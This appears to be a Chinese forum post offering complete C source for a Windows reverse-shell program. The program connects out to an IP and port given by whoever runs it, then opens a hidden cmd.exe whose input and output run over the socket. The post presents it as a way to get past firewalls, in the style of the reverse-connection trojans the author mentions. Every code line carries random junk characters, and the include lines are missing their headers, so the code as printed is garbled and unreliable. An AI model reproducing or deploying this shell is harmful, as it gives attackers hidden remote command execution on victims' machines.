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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y6ECdVF  
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/* ============================== B-?6M6#  
Rebound port in Windows NT yCd-9zb=  
By wind,2006/7 *rM^;4Zt  
===============================*/ <;9 I@VYK  
#include 0IwA#[m1`  
#include :#LLo}LKp  
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#pragma comment(lib,"wsock32.lib") !*s?B L  
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void OutputShell(); RY]#<9>M  
SOCKET sClient; `> 7; !  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; chcbd y>C  
PXK7b2fE.  
void main(int argc,char **argv) 6_J$UBT  
{ ^Ew]uN>,  
WSADATA stWsaData; \s/s7y6b+  
int nRet; oiF}?:7Q7  
SOCKADDR_IN stSaiClient,stSaiServer; 0ZT5bg_M  
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if(argc != 3) .GsV>H  
{ m;H.#^b*  
printf("Useage:\n\rRebound DestIP DestPort\n"); c&r70L,  
return; j2Cks_$:  
} >QjAoDVX?  
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WSAStartup(MAKEWORD(2,2),&stWsaData); (X $=Q6  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q 0$,*[PH  
sNj)ZWgd>  
stSaiClient.sin_family = AF_INET; 3*]eigi)  
stSaiClient.sin_port = htons(0); *S]Ci\{_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4iqoR$3Fc  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9%8"e>~  
{ D N'3QQn  
printf("Bind Socket Failed!\n"); na#CpS;pc  
return; E=jNi  
} 8qY79)vD4E  
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stSaiServer.sin_family = AF_INET; >z/#_z@LV  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r;B8i!gD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \.C +ue  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =+/eLKG  
{ &Lt}=3G  
printf("Connect Error!"); $}<PL}+  
return; =@m &s^R  
} {v=T [D  
OutputShell(); udxFz2>_l$  
} J5di[nu  
pf%=h |  
void OutputShell() !g?|9  
{ *?Lv3}E  
char szBuff[1024]; _4rFEYz$d  
SECURITY_ATTRIBUTES stSecurityAttributes; '[U8}z3  
OSVERSIONINFO stOsversionInfo; =q>'19^Jx  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >/:" D$  
STARTUPINFO stStartupInfo; JI?rL  
char *szShell; = 6tHsN23  
PROCESS_INFORMATION stProcessInformation; ]Uw<$!$-]s  
unsigned long lBytesRead; 5\N(PL  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NV)!7~r}:  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); SHvq.lYJ  
stSecurityAttributes.lpSecurityDescriptor = 0; )hd@S9Z.Y  
stSecurityAttributes.bInheritHandle = TRUE; VCu{&Sh*  
e&simX;W  
*v;!-F&8>  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c]$i\i#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); B268e  
FYOD Upn  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^@ I   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pM^9c7@!:  
stStartupInfo.wShowWindow = SW_HIDE; Y&[1`:-~-  
stStartupInfo.hStdInput = hReadPipe; 3 ;)>Fs;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :}yi -/_8!  
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GetVersionEx(&stOsversionInfo); JIOh#VNU  
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switch(stOsversionInfo.dwPlatformId) wAX1l*`  
{ O#x*iI%  
case 1: 3 j!3E  
szShell = "command.com"; b_,|>U  
break; uXI_M)  
default: X'wE7=29M  
szShell = "cmd.exe"; 3t`P@nL0;  
break; J c g,#@  
} ji1viv  
sJ# 4(r`  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /|r^W\DV&x  
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send(sClient,szMsg,77,0); TK5K_V*7  
while(1) j;%-fvd;  
{ z3`-plE  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I'\kFjc  
if(lBytesRead) QZ4v/Ou  
{ x1Lb*3Fe  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +~'865{  
send(sClient,szBuff,lBytesRead,0); ICuF %  
} P1zKsY,l$<  
else rW0kA1=E  
{ ZZWD8 AX  
lBytesRead=recv(sClient,szBuff,1024,0); A54N\x,  
if(lBytesRead<=0) break; Dakoqke  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >C7r:%  
} xgABpikC^  
} rE i Ki  
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return; ~;Ov-^tp  
}
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